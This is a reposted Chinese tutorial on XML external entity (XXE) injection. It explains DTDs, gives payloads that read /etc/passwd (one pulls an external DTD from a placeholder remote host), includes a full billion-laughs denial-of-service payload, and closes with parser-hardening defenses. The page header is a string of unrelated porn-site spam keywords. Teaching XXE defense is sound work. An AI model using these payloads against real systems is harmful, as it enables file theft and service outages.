日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

XXE原理利用防御

發(fā)布時間:2024/1/23 编程问答 39 豆豆
生活随笔 收集整理的這篇文章主要介紹了 XXE原理利用防御 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.
XML外部實體(XXE)

1.何為XXE?
XXE是xml外部實體注入.
說到這里簡單介紹下什么是xml,xml是用于標記電子文件使其具有結構性的標記語言,可以用來標記數(shù)據(jù)、定義數(shù)據(jù)類型,是一種允許用戶對自己的標記語言進行定義的源語言.xml文檔結構包括xml聲明、DTD文檔類型定義(可選)、文檔元素.
所有的XML文檔均有以下簡單的構建模塊組成:
·元素(元素是XML以及HTML文檔的主要構成模塊,元素可包含文本、其他元素或者是空的)
·屬性(屬性可提供有關元素的額外信息)
·實體(實體是用來定義普通文本的變量。實體引用是對實體的的引用,這里的引用就可以為我們提供xxe攻擊)
·PCDATA(會被解析器解析的文本。這些文本將被解析器檢查實體以及標記)
·CDATA(字符數(shù)據(jù),不會被解析器解析的文本)

DTD(文檔類型定義)

DTD的作用是定義XML文檔的合法構建模塊
DTD可以在XML文檔內聲明,也可以外部引用
內部聲明:
外部聲明:

DTD實體

DTD實體是用于定義引用普通文本或特殊字符的快捷方式的變量,可以內部聲明或外部引用。
實體分為一般實體和參數(shù)實體
1. 一般實體的聲明語法:

怎么構建外部實體注入?

方式一:直接通過DTD外部實體聲明

<?xml version="1.0"?> <!DOCTYPE a [<!ENTITY b SYSTEM "file:///etc/passwd"> ]> <c>&b;</c>

方式二:通過DTD文檔引入外部DTD文檔,再引入外部實體聲明
xml內容:

<?xml version="1.0"> <!DOCTYPE a SYSTEM "http://abc.com/xxe.dtd"> <c>&b;</c>

DTD內容:

<!ENTITY b SYSTEM "file:///etc/passwd" ]

方式三:通過DTD外部實體聲明引入外部實體聲明
先寫一個外部實體聲明,然后引用的是在攻擊者服務器上面的外部實體聲明
xml內容:

<?xml version="1.0"?> <!DOCTYPE a [<!ENTITY % d SYSTEM "http://abc.com/xss.dtd">%d; ]> <c>&b;</c>

dtd文件內容:

<!ENTITY b SYSTEM "file:///etc/passwd">
產(chǎn)生的危害

xxe危害1:讀取任意文件
xxe危害2: 執(zhí)行系統(tǒng)命令
xxe危害3:探測內網(wǎng)端口
xxe危害4:攻擊內網(wǎng)網(wǎng)站
xxe危害5: 導致DOS攻擊(著名的’billion laughs’)
簡單介紹下billion laughs
該攻擊通過創(chuàng)建一項遞歸的xml定義,在內存中生成是十億個“Ha!”字符串,從而導致DOS攻擊。
原理:構造惡意的XML實體文件耗盡可用內存,因為許多xml解析器在解析XML文檔時傾向于將它的整個結構保留在內存中,解析非常慢,從而造成拒絕服務攻擊。

<?xml version="1.0"?><!DOCTYPE lolz [<!ENTITY lol "lol"><!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"><!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"><!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"><!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"><!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"><!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"><!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"><!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]><lolz>&lol9;</lolz>
如何防御xxe攻擊

由于導致問題的原因是XML解析器解析了用戶發(fā)送的不可信數(shù)據(jù)。我們去校驗DTD中SYSTEM標識符定義的數(shù)據(jù),并不容易,也不大可能,所以,最好的解決方法就是配置XML處理器去使用本地靜態(tài)的DTD,不允許XML中含有任何自己聲明的DTD。
方式1: 使用開發(fā)語言提供的禁用外部實體的方法

PHP: libxml_disable_entity_loader(true);JAVA: DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false); Python: from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方式2: 過濾用戶提交的XML數(shù)據(jù)
關鍵詞:

部分內容來自網(wǎng)絡

總結

以上是生活随笔為你收集整理的XXE原理利用防御的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內容還不錯,歡迎將生活随笔推薦給好友。